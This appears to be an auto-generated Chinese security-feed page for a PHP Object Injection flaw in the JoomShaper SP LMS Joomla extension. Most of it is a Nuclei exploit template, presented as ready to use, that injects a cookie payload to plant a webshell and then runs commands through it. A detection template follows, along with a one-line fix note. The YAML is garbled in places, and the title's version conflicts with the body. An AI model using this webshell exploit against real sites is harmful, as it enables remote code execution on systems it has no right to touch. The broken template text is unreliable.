[webapps] Joomla Extension 4.1.4 - PHP Object injection

📋 漏洞基础信息

⚔️ Nuclei Exploit 模板

以下为标准 Nuclei v3 格式的利用模板，可直接用于漏洞验证：

id: CVE-2026-48909-exploit

info:
  name: JoomShaper SP LMS <= 4.1.3 PHP Object Injection RCE
  author: yours
  severity: critical
  description: Exploits PHP Object Injection via lmsOrders cookie to write webshell and execute commands
  tags: cve,cve2026,joomla,splms,php-object-injection,rce

variables:
  shell_path: "{{shell_path}}"
  cmd: "id"

http:
  - raw:
      - |+
        GET /index.php?option=com_splms&view=cart HTTP/1.1
        Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64;x64) AppleWebKit/537.36
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
        Cookie: lmsOrders={{payload}}
Connection: close

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
          - 500

      - type: word
        words:
          - "uid="
          - "root:"
        condition: or

    extractors:
      - type: regex
        part: body
        regex:
          - '([^\s]+)'

  - raw:
      - |+
        GET /{{shell_path}}?c={{cmd}}
HTTP/1.1
        Host: {{Hostname}}User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64;
x64) AppleWebKit/537.36
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
        Connection: close

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "uid="
          - "root:"
        condition: or

    extractors:
      - type: regex
        part: body
        regex:
          - '([^\s]+)'

🔍 Nuclei Detection 模板

以下为漏洞探测模板，用于判断目标是否受影响：

id: CVE-2026-48909-detection

info:
  name: JoomShaper SP LMS <= 4.1.3 PHP Object Injection Detection
  author: yours
  severity: high
  description: Detects vulnerable versions of JoomShaper SP LMS (<= 4.1.3) for CVE-2026-48909
  tags: cve,cve2026,joomla,splms,php-object-injection,detection

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_splms&view=cart"
      - "{{BaseURL}}/index.php?option=com_splms&view=cart&format=json"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "SP LMS"
          - "com_splms"
        condition: or

      - type: word
        words:
          - "lmsOrders"
        part: header

    extractors:
      - type: kval
        kval:
          - set_cookie
        part: header

🛡️ 修复建议

请升级到厂商最新安全版本。

📎 参考链接

• Exploit-DB 原文

🚨 威胁评估

⚠️ 本文基于公开漏洞数据库，仅供安全研究与防御参考。生成时间: 2026-07-13 08:14 | 来源: Exploit-DB